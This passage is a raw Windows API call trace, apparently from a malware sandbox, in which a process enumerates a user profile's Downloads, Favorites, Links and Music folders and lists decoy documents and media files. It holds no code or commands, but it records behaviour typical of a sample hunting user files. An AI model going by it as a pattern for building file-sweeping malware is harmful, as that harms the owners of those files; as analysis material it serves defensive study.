lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef565370, ftCreationTime.dwHighDateTime=0x1d4c7e4, ftLastAccessTime.dwLowDateTime=0x59e70280, ftLastAccessTime.dwHighDateTime=0x1d4d144, ftLastWriteTime.dwLowDateTime=0x59e70280, ftLastWriteTime.dwHighDateTime=0x1d4d144, nFileSizeHigh=0x0, nFileSizeLow=0x17c1f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tJLm4JiczASJ_8Z0U3i.ots", cAlternateFileName="TJLM4J~1.OTS")) returned 1 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x35583260, ftCreationTime.dwHighDateTime=0x1d4ba8b, ftLastAccessTime.dwLowDateTime=0x26b032a0, ftLastAccessTime.dwHighDateTime=0x1d522ee, ftLastWriteTime.dwLowDateTime=0x26b032a0, ftLastWriteTime.dwHighDateTime=0x1d522ee, nFileSizeHigh=0x0, nFileSizeLow=0x7668, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="uJO-YiH9NhpREYVYgJi.xlsx", cAlternateFileName="UJO-YI~1.XLS")) returned 1 [0116.533] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa01c3e20, ftCreationTime.dwHighDateTime=0x1d50ff4, ftLastAccessTime.dwLowDateTime=0x579f45b0, ftLastAccessTime.dwHighDateTime=0x1d5138d, ftLastWriteTime.dwLowDateTime=0x579f45b0, ftLastWriteTime.dwHighDateTime=0x1d5138d, nFileSizeHigh=0x0, nFileSizeLow=0x6230, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VJH-kfHp7SFpre94.pptx", cAlternateFileName="VJH-KF~1.PPT")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecf60a40, ftCreationTime.dwHighDateTime=0x1d508e8, ftLastAccessTime.dwLowDateTime=0x2758f520, ftLastAccessTime.dwHighDateTime=0x1d52a96, ftLastWriteTime.dwLowDateTime=0x2758f520, ftLastWriteTime.dwHighDateTime=0x1d52a96, nFileSizeHigh=0x0, nFileSizeLow=0x6129, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wZOz3j2ll6HfOuxlg93b.docx", cAlternateFileName="WZOZ3J~1.DOC")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x206de7d0, ftCreationTime.dwHighDateTime=0x1d5067d, ftLastAccessTime.dwLowDateTime=0xefb29d0, ftLastAccessTime.dwHighDateTime=0x1d4e2bb, ftLastWriteTime.dwLowDateTime=0xefb29d0, ftLastWriteTime.dwHighDateTime=0x1d4e2bb, nFileSizeHigh=0x0, nFileSizeLow=0x6b06, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="x7bIgakKt.docx", cAlternateFileName="X7BIGA~1.DOC")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78096350, ftCreationTime.dwHighDateTime=0x1d510d4, ftLastAccessTime.dwLowDateTime=0x26e74990, ftLastAccessTime.dwHighDateTime=0x1d4d29c, ftLastWriteTime.dwLowDateTime=0x26e74990, ftLastWriteTime.dwHighDateTime=0x1d4d29c, nFileSizeHigh=0x0, nFileSizeLow=0x14e72, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XhDBm5L_.xlsx", cAlternateFileName="XHDBM5~1.XLS")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8edea50, ftCreationTime.dwHighDateTime=0x1d4df79, ftLastAccessTime.dwLowDateTime=0xda42c530, ftLastAccessTime.dwHighDateTime=0x1d4d05a, ftLastWriteTime.dwLowDateTime=0xda42c530, ftLastWriteTime.dwHighDateTime=0x1d4d05a, nFileSizeHigh=0x0, nFileSizeLow=0xa2d2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="yB0OOX Rk5q.pptx", cAlternateFileName="YB0OOX~1.PPT")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d4df60, ftCreationTime.dwHighDateTime=0x1d51e8d, ftLastAccessTime.dwLowDateTime=0xdea4e220, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0xdea4e220, ftLastWriteTime.dwHighDateTime=0x1d4c56a, nFileSizeHigh=0x0, nFileSizeLow=0x4f5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7Xr5yfzUYNnPcQwSd50.xlsx", cAlternateFileName="_7XR5Y~1.XLS")) returned 1 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa9d4df60, ftCreationTime.dwHighDateTime=0x1d51e8d, ftLastAccessTime.dwLowDateTime=0xdea4e220, ftLastAccessTime.dwHighDateTime=0x1d4c56a, ftLastWriteTime.dwLowDateTime=0xdea4e220, ftLastWriteTime.dwHighDateTime=0x1d4c56a, nFileSizeHigh=0x0, nFileSizeLow=0x4f5f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_7Xr5yfzUYNnPcQwSd50.xlsx", cAlternateFileName="_7XR5Y~1.XLS")) returned 0 [0116.534] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.534] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.534] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.534] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.534] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.534] PathFindFileNameW (pszPath="") returned="" [0116.534] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.534] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.534] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.535] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.535] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0116.535] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.535] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0116.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x20) returned 0x3947cc0 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x40) returned 0x3960e70 [0116.535] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398ec68 [0116.535] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.535] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.535] PathFindFileNameW (pszPath="") returned="" [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.535] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.535] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.535] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.535] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.535] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb2d0 [0116.536] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdefb68 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0718 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf07a0 [0116.536] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941658 [0116.536] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 1 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x39418b0 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x70) returned 0x3941838 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x214) returned 0x39f5210 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0116.536] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb338 [0116.536] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d71a60, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Windows Live", cAlternateFileName="WINDOW~1")) returned 0 [0116.536] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.536] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.536] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\") returned="Links\\" [0116.536] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.536] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.536] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.536] PathFindFileNameW (pszPath="") returned="" [0116.536] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Links\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x6, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x244, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x1e6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop.lnk", cAlternateFileName="")) returned 1 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x3a1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Downloads.lnk", cAlternateFileName="DOWNLO~1.LNK")) returned 1 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 1 [0116.537] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0 [0116.537] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0116.537] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\") returned="Local Settings\\" [0116.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.537] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.537] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.537] PathFindFileNameW (pszPath="") returned="" [0116.537] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d2c5b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x16b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="RecentPlaces.lnk", cAlternateFileName="RECENT~1.LNK")) returned 0xffffffff [0116.537] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0116.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\") returned="Music\\" [0116.537] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0116.538] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0116.538] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0116.538] PathFindFileNameW (pszPath="") returned="" [0116.538] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\*", lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x39836e0 [0116.538] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2a863920, ftLastAccessTime.dwHighDateTime=0x1d53dff, ftLastWriteTime.dwLowDateTime=0x2a863920, ftLastWriteTime.dwHighDateTime=0x1d53dff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4f0140, ftCreationTime.dwHighDateTime=0x1d4d341, ftLastAccessTime.dwLowDateTime=0x3251b2a0, ftLastAccessTime.dwHighDateTime=0x1d4d3c5, ftLastWriteTime.dwLowDateTime=0x3251b2a0, ftLastWriteTime.dwHighDateTime=0x1d4d3c5, nFileSizeHigh=0x0, nFileSizeLow=0x16241, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="-GcGxMxOZK4.m4a", cAlternateFileName="-GCGXM~1.M4A")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8259ea50, ftCreationTime.dwHighDateTime=0x1d4cc14, ftLastAccessTime.dwLowDateTime=0xa0ecad40, ftLastAccessTime.dwHighDateTime=0x1d4cc37, ftLastWriteTime.dwLowDateTime=0xa0ecad40, ftLastWriteTime.dwHighDateTime=0x1d4cc37, nFileSizeHigh=0x0, nFileSizeLow=0x386c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="07G0ZL7bvnBKvt7n.mp3", cAlternateFileName="07G0ZL~1.MP3")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc776c130, ftCreationTime.dwHighDateTime=0x1d4d2d6, ftLastAccessTime.dwLowDateTime=0xe98a6760, ftLastAccessTime.dwHighDateTime=0x1d4d252, ftLastWriteTime.dwLowDateTime=0xe98a6760, ftLastWriteTime.dwHighDateTime=0x1d4d252, nFileSizeHigh=0x0, nFileSizeLow=0x34ca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1tk99aXbfw9RlvqZV.mp3", cAlternateFileName="1TK99A~1.MP3")) returned 1 [0116.538] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd3bbfd0, ftCreationTime.dwHighDateTime=0x1d4d2ff, ftLastAccessTime.dwLowDateTime=0xe32b3b50, ftLastAccessTime.dwHighDateTime=0x1d4c56f, ftLastWriteTime.dwLowDateTime=0xe32b3b50, ftLastWriteTime.dwHighDateTime=0x1d4c56f, nFileSizeHigh=0x0, nFileSizeLow=0x2360, dwReserved0=0xa0000003, 